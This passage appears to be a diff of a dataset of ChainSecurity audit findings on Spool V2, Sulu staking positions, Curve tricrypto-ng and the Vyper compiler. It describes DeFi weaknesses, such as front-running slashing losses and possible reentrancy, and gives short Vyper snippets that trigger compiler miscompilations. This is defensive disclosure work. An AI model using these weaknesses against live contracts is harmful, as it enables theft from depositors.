or\ntwo (would generally require many DHWs). It is also expected that the withdrawn strategy shares will be\nless than or equal to uint128.max. Though theoretically speaking DOS on flush is possible, the\nconditions on the practical example are very unlikely.\n\nRisk accepted:\n\nSpool replied:\n\n```\nWe agree that theoretically packed arrays could overflow and revert, however,\nwe did some calculations and this should never happen in practice.\n```\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.1 Bricked Smart Vaults","body":"Note Version 1\n\nSome Smart Vaults may be broken when they are deployed.\n\nAn example of such broken SVs could be that a malicious SV owner could deploy a specification with\nguards that allow deposits but disallow withdrawals (e.g. claiming SVT). Moreover, the owner may deploy\na specification that is seemingly safe from the user's perspective while then maliciously changing the\nbehaviour of the guard (e.g. removing from the allow list, upgrading the guard).\n\nAnother example could be where transfers between users could be allowed while the recipient could be\nblocked from redemption.\n\nSimilarly, actions or other addresses could be broken.\n\nUsers, before interacting with an SV, should be very carefully studying the specification. Similarly,\ndeployers should be knowledgeable about the system so that they can create proper specifications to not\ncreate bricked vaults by mistake.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.2 Curve Asset Ratio Slippage","body":"Note Version 1\n\nCurve strategies return the current balances of the pool in their assetRatio() functions. These ratios\nare cached once at the end of each DHW. For all deposits occurring during the next DHW epoch, the\nsame ratios are used although the ratios on the pool might change during that period. It is therefore\npossible, that the final deposit to the protocol incurs a slight slippage loss.\n\nGiven the size and parameters of the pools, this cost should be negligible in most cases.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.3 DOS Potential for DHWs Due to External","body":"Protocols\n\nNote Version 1\n\nDHWs could be blocked in case external protocols cannot accept or return funds. For example, if Aave\nv2 or Compound v2 have 100% utilization, DHWs could be blocked if withdrawals are necessary. This\ncan in turn prolong the time until deposits earn interest and become withdrawable again.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.4 ERC-1155 balanceOf()","body":"Note Version 1\n\nThe balanceOf() function of the SV's ERC-1155 returns 1 if the user has any balance. The standard\ndefines that the function should return the balance which in this case is defined as the \"fractional\n\n\nbalance\". Depending on the interpretation of EIP-1155, this could still match the standard. However, such\na deviation from the \"norm\" could break integrations.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.5 Management Fee Considerations","body":"Note Version 1\n\nUsers should be aware that the management fee is not taken based on the vault value at the beginning of\nthe flush cycle but at the end of it (hence, including the potential yield of strategies, however not including\nfresh deposits).","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.6 Ordering of Swaps in Reallocations and","body":"Swaps\n\nNote Version 1\n\nThe privileged user doing reallocation or swaps (e.g. the one holding ROLE_DO_HARD_WORKER) should\ntake an optimal path when performing the swaps, as depositing to/withdrawing from a strategy changes\nits value.\n\nAlso, note that some strategies could be affected more by bad trades due to the swaps being performed\nin the order of the strategies. For example:\n\n```\n1.depositFast() to the first strategy happens. The swap changes the price in the DEX.\n2.depositFast() to the second strategy happens. The swap works at a worse price than the first\nstrategy.\n```\nUltimately, some deposits could have worse slippage.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.7 Price Aggregators With More Than 18","body":"Decimals\n\nNote Version 1\n\nSetting price aggregators with more than 18 decimals will revert in\nUsdPriceFeedManager.setAsset(). Such are not supported by the system.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.8 Public Getter Functions","body":"Note Version 1\n\nUsers should be aware that some public getters provide only meaningful results with the correct input\nvalues (e.g. getClaimedVaultTokensPreview()). When used internally, it is ensured that the inputs\nare set such that the results are meaningful.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.9 Reentrancy Potential","body":"Note Version 1\n\n\nWhile reentrancy protection was implemented in Version 2 of the code, some potential for\nreentrancy-based attacks may still exist. However, it highly depends on the underlying strategies. Future\nunknown strategies could introduce vulnerable scenarios.\n\nAn example could be a strategy that swaps both on compounding and on deposits in DHW. If it is\npossible to manipulate the USD value oracle of the strategy (e.g. similar to Curve), then one could\neffectively generate a scenario that creates 0-deposits or \"bypasses\" the pre-deposit/redeemal checks.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.10 Reward Pool Updates","body":"Note Version 1\n\nThe ROLE_REWARD_POOL_ADMIN should be very careful, when updating the root of a previous cycle (if\nnecessary), as it could break the contract for certain users.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.11 Slippage Loss in alUSD Strategy","body":"Note Version 1\n\nConvexAlusdStrategy never invests alUSD into the corresponding Curve pool. This can result in a\nslight slippage loss due to unbalanced deposits. Both deposits and withdrawals are subject to this\nproblem.\n\nThe loss is negligible up to a certain amount of value deposited/withdrawn. After that, there is no limit\nthough. At the time this report was written, a withdrawal of 10M LP tokens to 3CRV incurs a loss of\nroughly 25%.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.12 Special Case: Compound COMP Market","body":"Note Version 1\n\nCompound v2 currently has an active market for the COMP token. In this case, deposits to the\nCompoundV2Strategy would be absorbed by the _compound() function if a compoundSwapInfo\nhas been set for the strategy. The correct handling is therefore completely dependent on the role\nROLE_DO_HARD_WORKER and is not enforced on-chain.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.13 Unsupported Markets","body":"Note Version 1\n\nSome markets of the supported protocols in Spool V2's strategies might be problematic:\n\n- Aave markets in which the aToken has different decimals than the underlying. While this is not the\n case for any aToken currently deployed, Aave does not guarantee that this will be the case in the\n future.\n- Compound supports fee-taking tokens. If such a market would be integrated into Spool V2, it could\n be problematic as the CompoundV2Strategy._depositToCompoundProtocol() does not\n account for the return value of Compound's mint() function.\n- Compound's cETH market is unsupported due to it requiring support for native ETH and hence\n having a different interface than other cTokens.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"8.14 Value of the alUSD Strategy's Metapool LP","body":"Token Overvalued\n\nNote Version 1\n\nThe Curve metapool that is used in the ConvexAlusdStrategy allows to determine the value of LP\ntokens, if only one of the 2 underlying tokens is withdrawn, with the function\ncalc_withdraw_one_coin(). This is used in the strategy to determine the value of one token which\nis then scaled up by the actual LP token amount.\n\nThe function, however, does not linearly scale with the amount of LP tokens due to possible slippage loss\nwith higher amounts. The LP tokens are therefore overvalued.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} {"title":"5.1 StakeWise V3 Position Ticket Valuation","body":"```\nDesign Low Version 1\nCS-SUL12-\n```\nThe StakeWise position's value is the sum of the value of the vault tokens held and the value of the\nposition tickets.\n\nA position ticket's withdrawal value is determined in Stakewise's calculateExitedAssets function.\nThis function does not use the current share price, it uses a checkpointed price which is set when the\nupdate happens that lets the contract know that a withdrawal is completed.\n\nThe external position uses the current exchange rate instead of the fixed exchange rate at the relevant\nstate update.\n\nAs a result, a fund could be under- or overvalued.","dataSource":{"name":"ChainSecurity/ChainSecurity_Avantgarde_Finance_Sulu_Extensions_XII_audit_draft.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Avantgarde_Finance_Sulu_Extensions_XII_audit_draft.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Avantgarde_Finance_Sulu_Extensions_XII_audit_draft.pdf"}} {"title":"5.2 Slashing Can Be Avoided","body":"```\nDesign Medium Version 1 Risk Accepted\nCS-SUL12-\n```\nThe smart contract layer does not immediately know when a slashing event on the Consensus Layer has\nhappened. Offchain, however, it is easy to immediately know when a validator has been slashed.\n\nA user of an enzyme vault that uses one of the staking external positions could monitor for slashings and\nimmediately withdraw from the vault when such an event happens. By doing this, they will be able to\nredeem their assets (up to the available liquidity) at the pre-slashing price.\n\nOnce the slashing is accounted for in the vault (after about 12 hours in Stakewise), the slashing loss of\nthe users that withdrew previously will instead be taken by those users that are still deposited in the vault.\n\n\nAlso, note that the same behaviour is present in Stakewise's vaults. There, any user can withdraw\nimmediately up to the available liquidity and also dodge slashing. However, it is expected that the\navailable liquidity in Stakewise vaults should never be more than 32 ETH, as otherwise, it would have\nbeen possible to stake them with an additional validator.\n\nRisk accepted:\n\nAvantgarde Finance acknowledged the issue and replied:\n\n```\nSince consensus layer slashing is not readable directly from the execution layer,\nslashing can only be made known by posting to the execution layer, and there will\nalways be an opportunity to front-run posting (the same goes for Chainlink aggregators).\n```\n```\nFund managers must be aware of this risk and take any necessary precautions to mitigate\nthe risk where needed, e.g., via policies and/or queued redemptions.\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Avantgarde_Finance_Sulu_Extensions_XII_audit_draft.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Avantgarde_Finance_Sulu_Extensions_XII_audit_draft.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Avantgarde_Finance_Sulu_Extensions_XII_audit_draft.pdf"}} {"title":"5.3 StakeWise Deposit May Revert","body":"```\nDesign Low Version 1 Risk Accepted\nCS-SUL12-\n```\nThe following is an excerpt from the StakeWise documentation:\n\n```\nWhen keeper.canHarvest() returns false, the user can stake ETH to the vault without\na state update. Otherwise, the updateStateAndDeposit function must be used.\n```\nThe enzyme external position only uses deposit(), not updateStateAndDeposit(). If a state\nupdate is required, the manager currently needs to call updateState() from a separate address and\nthen deposit() through the vault. Otherwise, deposit() reverts.\n\nThe same issue also applies to redeem().\n\nRisk accepted:\n\nAvantgarde Finance replied:\n\n```\nFor now, managers can wait until a non-harvestable (i.e., depositable) moment.\nAt a later time, we may update this or include a link/button to call `updateState()`\ndirectly.\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Avantgarde_Finance_Sulu_Extensions_XII_audit_draft.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Avantgarde_Finance_Sulu_Extensions_XII_audit_draft.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Avantgarde_Finance_Sulu_Extensions_XII_audit_draft.pdf"}} @@ -3426,6 +3529,35 @@ {"title":"6.15 Possible Precision Loss in get_y","body":"```\nDesign Low Version 1 Code Corrected\nCS-TRICRYPTO-NG-007\n```\nIn the get_y function, additional precision is added conditionally:\n\n```\nd0: int256 = abs(unsafe_mul(3, a) * c / b - b) # <------------ a is smol.\n```\n```\ndivider: int256 = 0\nif d0 > 10**48:\ndivider = 10**30\nelif d0 > 10**44:\ndivider = 10**26\nelif d0 > 10**40:\ndivider = 10**22\nelif d0 > 10**36:\ndivider = 10**18\nelif d0 > 10**32:\ndivider = 10**14\nelif d0 > 10**28:\ndivider = 10**10\nelif d0 > 10**24:\ndivider = 10**6\nelif d0 > 10**20:\ndivider = 10**2\nelse:\ndivider = 1\n```\n```\nadditional_prec: int256 = 0\nif abs(a) > abs(b):\nadditional_prec = abs(unsafe_div(a, b))\na = unsafe_div(unsafe_mul(a, additional_prec), divider)\nb = unsafe_div(b * additional_prec, divider)\nc = unsafe_div(c * additional_prec, divider)\nd = unsafe_div(d * additional_prec, divider)\nelse:\nadditional_prec = abs(unsafe_div(b, a))\na = unsafe_div(unsafe_mul(a, additional_prec), divider)\nb = unsafe_div(b * additional_prec, divider)\nc = unsafe_div(c * additional_prec, divider)\nd = unsafe_div(d * additional_prec, divider)\n```\n\nHowever, there are some cases where divider > additional_prec and a precision loss occurs\ninstead. For example, when b ≈ a, divider can still be as large as 10**18, but additional_prec\nwill be 1. Therefore, up to 18 decimals are removed from a, b, c and d, resulting in a precision loss.\n\nIt should be considered whether it is necessary to adjust the decimals in the case where\ndivider > additional_prec.\n\nCode corrected:\n\nThe additional precision calculations were incorrect in the original version. The else branch has been\nupdated to the following:\n\n```\nelse:\nadditional_prec = abs(unsafe_div(b, a))\na = unsafe_div(a / additional_prec, divider)\nb = unsafe_div(unsafe_div(b, additional_prec), divider)\nc = unsafe_div(unsafe_div(c, additional_prec), divider)\nd = unsafe_div(unsafe_div(d, additional_prec), divider)\n```\nCurve also provided an explanation for the precision adjustment:\n\n```\nThe idea behind this is that a is always high-precision constant 10**36 / 27 while b, c, and d may\nhave excessive or insufficient precision, so we compare b to a and add or remove precision via\nadditional_prec. But we should also take into account not only difference between a and other\ncoefficients, but their value by themselves (10**36 precision will lead to overflow if coin values are\nhigh), so we use divider to reduce precision and avoid overflow. The\ndivider > additional_prec case is fine unless it produces vulnerability.\n```","dataSource":{"name":"ChainSecurity/Curve_tricrypto-ng_-Smart-Contract-Audit-_-ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/06/Curve_tricrypto-ng_-Smart-Contract-Audit-_-ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/06/Curve_tricrypto-ng_-Smart-Contract-Audit-_-ChainSecurity.pdf"}} {"title":"6.16 Redundant Asserts in Call to _newton_y()","body":"```\nDesign Low Version 1 Code Corrected\nCS-TRICRYPTO-NG-006\n```\nThe arguments of get_y() are checked to be in a reasonable range through the following asserts:\n\n```\n# Safety checks\nassert _ANN > MIN_A - 1 and _ANN < MAX_A + 1, \"dev: unsafe values A\"\nassert _gamma > MIN_GAMMA - 1 and _gamma < MAX_GAMMA + 1, \"dev: unsafe values gamma\"\nassert _D > 10**17 - 1 and _D < 10**15 * 10**18 + 1, \"dev: unsafe values D\"\n```\nThe same checks are duplicated when entering the internal function _newton_y(), which is only called\nin the body of get_y()\n\nCode corrected:\n\nThe redundant asserts were removed from _newton_y().\n\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/Curve_tricrypto-ng_-Smart-Contract-Audit-_-ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/06/Curve_tricrypto-ng_-Smart-Contract-Audit-_-ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/06/Curve_tricrypto-ng_-Smart-Contract-Audit-_-ChainSecurity.pdf"}} {"title":"7.1 Funds Could Be Transferred Before Callback","body":"Note Version 1\n\nWhen using exchange_extended(), a callback to the caller is executed to transfer the inbound\nexchange amount. The callback is executed before the outgoing tokens are received by the user.\nExecuting the callback after the outgoing tokens have been received would allow more flexible use\ncases, by acting as a flashloan.","dataSource":{"name":"ChainSecurity/Curve_tricrypto-ng_-Smart-Contract-Audit-_-ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/06/Curve_tricrypto-ng_-Smart-Contract-Audit-_-ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/06/Curve_tricrypto-ng_-Smart-Contract-Audit-_-ChainSecurity.pdf"}} +{"title":"5.1 Incorrect Order of Evaluation of Arguments of","body":"Builtin Function\n\n```\nCorrectness Medium Version 1\nCS-VYPER_MAY_2023-\n```\nThe order of evaluation of the arguments of the builtin functions uint256_addmod, uint256_mulmod,\necadd and ecmul is incorrect.\n\n- For uint256_addmod(a,b,c) and uint256_mulmod(a,b,c), the order is c,a,b.\n- For ecadd(a,b) and ecmul(a,b), the order is b,a.\n\nIn the following contract, a call to foo() returns 1 while we would expect it to return 0.\n\n```\na:uint\n```\n```\n@internal\ndef bar() -> uint256:\nself.a = 1\nreturn 8\n```\n```\n@external\ndef foo()->uint256:\nreturn uint256_addmod(self.a, 0, self.bar()) # returns 1\n```\nIn the following contract, a call to loo() returns False while we would expect it to return True.\n\n```\nx: uint256[2]\n```\n```\n@internal\ndef bar() -> uint256[2]:\nself.x = ecadd([1, 2], [1, 2])\nreturn [1,2]\n```\n```\n@external\ndef loo() -> bool:\nself.x = [1, 2]\n```\n```\na:uint256[2] = ecadd([1, 2], [1, 2])\nb:uint256[2] = ecadd(self.x, self.bar())\n```\n```\nreturn a[0] == b[0] and a[1] == b[1] # returns false\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.2 Make_setter Is Incorrect for Complex Types","body":"When the RHS References the LHS With a Function\n\nCall\n\n```\nCorrectness Medium Version 1\nCS-VYPER_MAY_2023-\n```\nIssue 2418 described a bug where, during an assignment, if the right-hand side refers to the left-hand\nside, part of the data to be copied may get overwritten before being copied.\n\nAlthough PR 3410 fixed the issue in most of the cases, it can still happen with function calls as shown in\nthe example below. A call to foo returns [2,2] where if the function bar would be inlined, it would\nreturn [2,1]\n\n```\na:DynArray[uint256,2]\n```\n```\n@external\ndef foo() -> DynArray[uint256,2]:\n# Initial value\nself.a = [1,2]\nself.a = [self.bar(1), self.bar(0)]\nreturn self.a #returns [2,2]\n```\n```\n@internal\ndef bar(i:uint256)->uint256:\nreturn self.a[i]\n```\nIn this second example, boo temporarily assigns values to a before emptying it. the values stored in a\nare however still readable from foo as a call to foo here returns [11,12,3,4].\n\n```\na:DynArray[uint256, 10]\n```\n```\n@external\ndef foo()->DynArray[uint256,10]:\nself.a = [1,2,self.boo(),4]\nreturn self.a # returns [11,12,3,4]\n```\n```\n@internal\ndef boo() -> uint256:\nself.a = [11,12,13,14,15,16]\nself.a = []\n# it should now be impossible to read any of [11,12,13,14,15,16]\nreturn 3\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.3 Metadata Journal Can Rollback Incorrectly","body":"```\nCorrectness Medium Version 1\nCS-VYPER_MAY_2023-\n```\nTo fix the issue of incorrect type checking of loop variables, a commit/rollback scheme for metadata\ncaching has been implemented to handle speculation when trying to type a loop.\n\nWhen registering two consecutive updates for a given node, the journal can have an incorrect behavior.\n\n\nAssuming that the compiler has entered the speculation mode (while typing a loop for example), and\nconsidering an AST node A which, at the time of entering the speculation had M0 as metadata, if the\nfollowing events happen, the cached metadata for A would become incorrect (considering M0!=M1):\n\n```\n1.The metadata of A is updated a first time (using register_update) resulting in M1.\n2.The metadata of A is updated a second time resulting in M2 (which might or might not be equal to\nM1).\n3._rollback_inner is called to roll back A's metadata to its state pre-speculation.\n```\nWhile the correct state of A's metadata should be M0, the resulting metadata will currently be M1 as the\nsecond call to register_update has \"overwritten\" the first one.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.4 Assertion Could Be More Precise in","body":"parse_Binop\n\n```\nDesign Low Version 1\nCS-VYPER_MAY_2023-\n```\nIn the function Expr.parse_BinOp in the code generation, the assertion\nis_numeric_type(left.typ) could be performed before the LShift and RShift cases are those\noperators are only defined for numeric types.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.5 Assertions Are Not Constant","body":"```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-\n```\nThe definition of the class Context introduce the flag in_assertion which, when set, indicates that\nthe context should be constant according to is_constant() definition. This flag is never set during the\ncode generation, specifically, it is possible to have a non-constant expression in an assert statement.\nFor example, the following contract compiles.\n\n```\nx: uint\n```\n```\n@internal\ndef bar() -> uint256:\nself.x = 1\nreturn self.x\n```\n```\n@external\ndef foo():\nassert self.bar() == 1\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.6 Calls to State-Modifying Functions in Range","body":"Expressions Are Not Caught by the Type-Checker\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-\n```\n\nThe type checker does not catch the use of a state-modifying function call in a range expression, this\nleads the code generator to fail due to an assertion:\nassert use_staticcall, \"typechecker missed this\"\n\nThe compiler fails to compile the following with the assertion mentioned above.\n\n```\ninterface A:\ndef foo()-> uint256:nonpayable\n```\n```\n@external\ndef bar(x:address):\na:A = A(x)\nfor i in range(a.foo(),a.foo()+1):\npass\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.7 Default Arguments Are Treated as Keyword","body":"Arguments\n\n```\nDesign Low Version 1\nCS-VYPER_MAY_2023-\n```\nvalidate_call_args takes kwargs, the list of valid keywords as an argument and makes sure that\nwhen a call is made, the given keywords are valid according to kwargs.\n\nWhen being called from ContractFunctionT.fetch_call_return, the defaults arguments of the\nfunction are given to validate_call_args in kwargs although it is not allowed to give keywords\narguments in a function call except for gas, value, skip_contract_check and\ndefault_return_value.\n\nFor example, when trying to compile the following contract, the call to validate_call_args made by\nfetch_call_return will succeed although an invalid keyword argument is passed. The compilation\nwill later fail (as it should) as fetch_call_return enforce that the kwargs should belong to the call site\nkwargs' whitelist.\n\n```\n@external\ndef foo():\nself.boo(a=12)\n```\n```\n@internal\ndef boo(a:uint256=12):\npass\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.8 Epsilon Is Not Documented","body":"```\nDesign Low Version 1\nCS-VYPER_MAY_2023-\n```\nThe builtin function epsilon is not documented in https://docs.vyperlang.org/.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.9 IfExp Cannot Be Used in a Subscript","body":"```\nDesign Low Version 1\nCS-VYPER_MAY_2023-\n```\nThe IfExp AST node's case is missing in util.py:types_from_Subscript and\nannotation.py:visit_subscript. The following example does not compile, and the compiler\nreturns: vyper.exceptions.StructureException: Ambiguous type\n\n```\n@external\ndef boo() :\na:uint256 = ([1] if True else [2])[0]\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.10 IfExp Fails at Codegen When Used With Self","body":"or Environment Variables\n\n```\nDesign Low Version 1\nCS-VYPER_MAY_2023-\n```\nSome complex expressions including the new IfExp node might typecheck, however, no corresponding\ncase is implemented in the codegen leading the compiler to fail.\n\nThe following example fails to compile with an assertion error\n(isinstance(contract_address.typ, InterfaceT)) in ir_for_external_call.\n\n```\n@external\ndef foo():\n(self if True else self).bar()\n```\n```\n@internal\ndef bar():\npass\n```\nThe following example fails to compile with\nvyper.exceptions.TypeCheckFailure: Name node did not produce IR.\n\n```\n@external\ndef foo():\na:Bytes[10] = (msg if True else msg).data\n```\nNote: In case the first example was to be allowed by Vyper, one would need to be careful as several\nanalysis and sanity checks (e.g circularity checks) rely on the fact that function calls are always on the\nform self.FUNC_NAME.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.11 IfExp Not Annotated When Used as Iterable","severity":"minor","body":"for a Loop\n\n```\nDesign Low Version 1\nCS-VYPER_MAY_2023-\n```\n\nThe IfExp AST node's case is missing in annotation.py:visit_For leading the\nStatementAnnotationVisitor to omit the annotation of a IfExp node when used as iterable in a\nloop. The following example does not compile, and the compiler returns: KeyError: 'type'.\n\n```\n@external\ndef foo():\nfor x in [1,2] if True else [0,12]:\npass\n```\nNote that if a new case for IfExp is created in annotation.py:visit_For to fix this issue, the\nfunction local.py:visit_For should be updated carefully as the check that ensures that for loops\nmust have at least 1 iteration would not be performed on IfExp nodes.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.12 Implements Statement Does Not Enforce the","severity":"info","body":"Same Indexation of Events\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-\n```\nWhen using the implements statement, the contract's events fields are not enforced to match the\ninterface's events fields on their indexation.\n\nFor example, the following code compiles although the spender field of Approval is not indexed.\n\n```\nfrom vyper.interfaces import ERC\n```\n```\nimplements: ERC\n```\n```\nevent Transfer:\nsender: indexed(address)\nreceiver: indexed(address)\nvalue: uint\n```\n```\nevent Approval:\nowner: indexed(address)\nspender: address\nvalue: uint\n```\n```\nname: public(String[32])\nsymbol: public(String[32])\ndecimals: 